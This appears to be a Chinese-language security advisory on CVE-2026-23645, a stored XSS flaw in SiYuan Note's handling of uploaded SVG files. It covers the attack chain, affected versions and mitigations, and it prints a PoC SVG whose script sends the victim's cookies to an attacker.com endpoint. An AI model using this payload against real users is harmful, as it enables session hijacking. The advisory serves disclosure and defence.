IPBUF安全漏洞报告
English
CVE-2026-23645 CVSS 6.1 中危

CVE-2026-23645: SiYuan Note存储型XSS漏洞(SVG文件)

披露日期: 2026-01-16

漏洞信息

漏洞编号
CVE-2026-23645
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
SiYuan Note

相关标签

存储型XSSSVG注入SiYuan NoteCVE-2026-23645会话劫持文件上传漏洞跨站脚本攻击知识管理工具

漏洞概述

CVE-2026-23645是SiYuan Note个人知识管理软件中的一个存储型跨站脚本(Stored XSS)漏洞,CVSS评分6.1,中危级别。该漏洞存在于3.5.4-dev2之前的所有版本中,由于应用程序在处理用户上传的SVG文件时未进行充分的清理和过滤,导致攻击者可以在SVG文件中嵌入恶意JavaScript代码。当其他用户查看或导入这些恶意SVG文件时,嵌入的脚本代码会在受害者浏览器中执行,从而窃取会话Cookie、劫持用户账户或执行其他恶意操作。由于该漏洞涉及文件导入功能,攻击者可以通过社交工程诱导用户导入特制的SVG文件,实现对目标用户认证会话的劫持。此漏洞由GitHub安全团队发现并报告,已在3.5.4-dev2版本中修复。

技术细节

该漏洞的根本原因在于SiYuan Note应用程序对用户上传的SVG文件缺乏安全验证机制。SVG(可缩放矢量图形)是一种基于XML的矢量图形格式,支持内嵌JavaScript代码(script标签)。攻击者可以构造一个包含恶意JavaScript payload的SVG文件,当该文件被上传到SiYuan服务器后,会以文件形式存储在系统中。当其他用户通过笔记预览、附件查看或导入功能访问该SVG文件时,浏览器会解析SVG并执行其中嵌入的JavaScript代码。由于执行上下文位于受害者的认证会话中,攻击者可以利用此漏洞获取用户的认证令牌、读取敏感数据或执行特权操作。攻击成功的关键是利用SVG格式的合法性和应用程序对文件类型的宽松处理,绕过常规的安全检查。修复措施包括对SVG文件内容进行严格过滤,移除或转义所有可执行脚本元素,或限制SVG文件的上传和预览功能。

攻击链分析

STEP 1
步骤1
攻击者创建包含恶意JavaScript代码的SVG文件,利用SVG格式支持内嵌脚本的特点构造XSS payload
STEP 2
步骤2
攻击者通过SiYuan Note的文件上传功能或导入功能将恶意SVG文件上传到服务器
STEP 3
步骤3
恶意SVG文件被存储在服务器端,由于未进行安全过滤,payload被持久化保存
STEP 4
步骤4
受害者(已认证用户)通过笔记预览、附件查看或导入功能访问该恶意SVG文件
STEP 5
步骤5
受害者浏览器解析SVG文件时执行其中嵌入的JavaScript代码,在受害者认证会话上下文中运行
STEP 6
步骤6
攻击者通过JavaScript代码窃取受害者的会话Cookie、认证令牌或其他敏感信息,实现账户劫持

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2026-23645 PoC: Malicious SVG file for SiYuan Note XSS --> <svg xmlns="http://www.w3.org/2000/svg"> <script> <![CDATA[ // Steal session cookies and send to attacker server var cookies = document.cookie; var xhr = new XMLHttpRequest(); xhr.open('GET', 'https://attacker.com/steal?c=' + encodeURIComponent(cookies), true); xhr.send(); // Alternative payload: Display fake login prompt to phish credentials alert('Session hijacking payload executed!'); console.log('Stolen cookies:', cookies); ]]> </script> <rect width="100" height="100" fill="red"/> <text x="10" y="50">Malicious SVG - XSS</text> </svg>

影响范围

SiYuan Note < 3.5.4-dev2

防御指南

临时缓解措施
如果无法立即升级到修复版本,建议临时禁用SVG文件的上传和导入功能,或配置Web应用防火墙(WAF)规则过滤包含script标签的SVG文件内容。同时提醒用户不要打开来源不明的文件,避免导入未经验证的附件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表